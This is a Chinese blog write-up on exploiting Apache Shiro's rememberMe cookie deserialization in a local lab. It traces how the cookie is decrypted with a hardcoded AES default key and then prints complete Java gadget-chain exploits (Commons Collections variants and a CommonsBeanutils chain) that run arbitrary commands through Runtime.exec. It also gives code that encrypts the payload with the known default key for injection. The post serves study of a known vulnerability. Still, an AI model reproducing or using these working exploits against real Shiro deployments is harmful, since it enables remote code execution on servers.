shiro 反序列化探析

shiro

环境搭建

jdk7u21

https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

某些平台还要钱?

image-20220416164105469

tomcat8

p神的shiro环境:

https://github.com/phith0n/JavaThings/tree/master/shirodemo

下面这张图不对的,不是新建项目然后复制黏贴

image-20220416193601299

直接选择打开p神解压后的文件夹,修改配置即可

image-20220416194831319

然后项目结构里面添加以下jdk1.7

之后编辑一下pom.xml添加一点依赖

image-20220416195534615

    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>jstl</artifactId>
      <version>1.2</version>
      <scope>runtime</scope>
    </dependency>

如果出现maven加载失败的情况,大概是因为你用了idea自带的maven,需要去再下一个最新版本,不需要配置环境变量。

下载解压,然后配置文件里面酌情修改本地仓库(也可以使用默认路径,我这里修改为了D:\maven3.8.5\apache-maven-3.8.5-bin\apache-maven-3.8.5\repository

配置文件里面换源

     <mirror>
          <id>alimaven</id>
          <mirrorOf>central</mirrorOf>
          <name>aliyun maven</name>
          <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
      </mirror>

来到bin目录下(我是D:\maven3.8.5\apache-maven-3.8.5-bin\apache-maven-3.8.5\bin)执行./mvn help:system

之后等待许久直至出现build success,就完成了安装

image-20220417110311030

之后打开idea,找到File–Settings–Build,Execution,Deployment–Build Tools–Maven,修改画框的位置的路径,选择自己配置的maven(不建议使用idea自带的maven)

image-20220417115528767

注意那个勾选别勾

后面配置一下tomcat,记得修改下面的报错(选工件可以如下)

image-20220417121224775

然后访问你设置的端口(默认8080,事实上默认是直接跳转的)

image-20220417121303328

这样就是搭建好了

初步了解

有个账号密码登录,root:secret,并勾选remember me ,抓包观察

image-20220417144911984

request

image-20220417144927901

可以看到一个巨大的cookie,一般遇到此类情况推测cookie含有重要的用户信息,而且很可能被服务器通过反序列化读取。可作为注入点

在导航这里打开随处搜索

image-20220417145321706

CookieRememberMeManager

image-20220417145940652

一个序列化一个反序列化

image-20220417150410934

看一下后发现是一个序列化的字节码经过base64加密而已

不过CookieRememberMeManager::getRememberedSerializedIdentity这里比较特别,只是解码了而已

image-20220417150505450

那我们看看谁调用了它(注意maven下载源代码才找得到)

image-20220417151908957

跟进CookieRememberMeManager::convertBytesToPrincipals

image-20220417155827645

decrypt

image-20220417160019637

ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());

这句话可以看出大概是需要一个什么密钥去解密,进入下面这个

cipherService.decrypt

一个接口

image-20220417160953910

看它的实现

image-20220417161059217

审计后验证了我们的想法,应该是个对称加密,获取密钥后就可以破解

回到

CookieRememberMeManager::convertBytesToPrincipals

进入getDecryptionCipherKey,看看我们能不能破解key

image-20220417161300818

是常量

image-20220417161453636

查找后发现是这里写入

image-20220417161701070

cipherKey

多此提到cipherKey,看看是什么情况

setCipherKey

查找一下使用

image-20220417162147792

看到setCipherKey(DEFAULT_CIPHER_KEY_BYTES);

进去

看到是个固定的key值

image-20220417162533093

而且是个aes

于是得出结论:

它的cookie 是: 信息 -> 序列化 -》用已知密钥加密的aes -》然后Base64

deserialized->readObject

加密解密调试

参考miku神的(●´3`●)やれやれだぜ (viewofthai.link)

加密

image-20220417181354826

而其中的key是常量,后面不断调试还可以看到base64部分

解密

cc3打shiro

Pom.xml

image-20220417181737352

cc3

poc

package org.apache.commons.collections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class ccone {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception
    {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
//        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        //templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);

        Transformer[] transformers = new Transformer[]{
                //new ConstantTransformer(Runtime.class),
                new ConstantTransformer(TrAXFilter.class),
//                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
//                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
                instantiateTransformer
        };
//
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> transformedMap =  TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");
//
//        InstantiateTransformer

    }
}

跑完后生成ser.bin

新建一个项目去打

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;

public class test {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("C:\\Users\\20281\\IdeaProjects\\mavenForHappyJson\\ser.bin"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt"));
        out.write(ciphertext.toString());
        out.close();
        System.out.printf("OK");

    }
}

image-20220417191447026

然后抓包改为

image-20220417205922257

然后打过去,但是发现并没有谈计算器,报错是这个

image-20220417205956162

经过调试,发现原来是

可以看到 ClassResolvingObjectInputStream 调用的是 ClassUtils.forName , ObjectInputStream 调用的是 Class.forName ,差别就在这里 实际上 Class.forName 不⽀持原⽣类型,但其他类型都是⽀持的。 Class.loadClass 不能加载原⽣类型和 数组类型,其他类型都是⽀持的,测试代码如下:

Class classString =
ClassLoader.getSystemClassLoader().loadClass("java.lang.String");// 类
Class classEnum =
ClassLoader.getSystemClassLoader().loadClass("java.lang.annotation.RetentionP
olicy");// 枚举
Class classInterface =
ClassLoader.getSystemClassLoader().loadClass("java.io.Serializable");// 接⼝
Class classAnnotation =
ClassLoader.getSystemClassLoader().loadClass("java.lang.annotation.Documented
");// 注解
//Class classIntArray = ClassLoader.getSystemClassLoader().loadClass("[I");//
数组类型不能使⽤ClassLoader.loadClass⽅法
//Class classStringArray = ClassLoader.getSystemClassLoader().loadClass("
[Ljava.lang.String;");// 数组类型不能使⽤ ClassLoader.loadClass ⽅法

不用数组自然想到cc4

image-20220417214643805

完整poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class exp {
    public static void setValue(String name, Object target, Object value) {
        try {
            Field field = target.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(target, value);
        } catch (Exception ignore) {
        }
    }

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {
        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaaaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        //CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        //CC6
        HashMap<Object,Object> map = new  HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");
        lazyMap.remove(templates);

        Class c = LazyMap.class;
        Field field =  c.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap, invokerTransformer);

        serialize(map2);
        unserialize("ser.bin");

    }
}

image-20220417214117740

shiro 打无 cc 依赖 cb 链

但是我jdk7u21的cb链出问题了,不会改报错,所以直接复制黏贴@miku233神的

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class exp {

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        BeanComparator outputProperties = new BeanComparator("outputProperties", new AttrCompare());

        TransformingComparator ioTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(templates);

        setValue(priorityQueue, "comparator", outputProperties);

        serialize(priorityQueue);
        unserialize("ser.bin");

    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇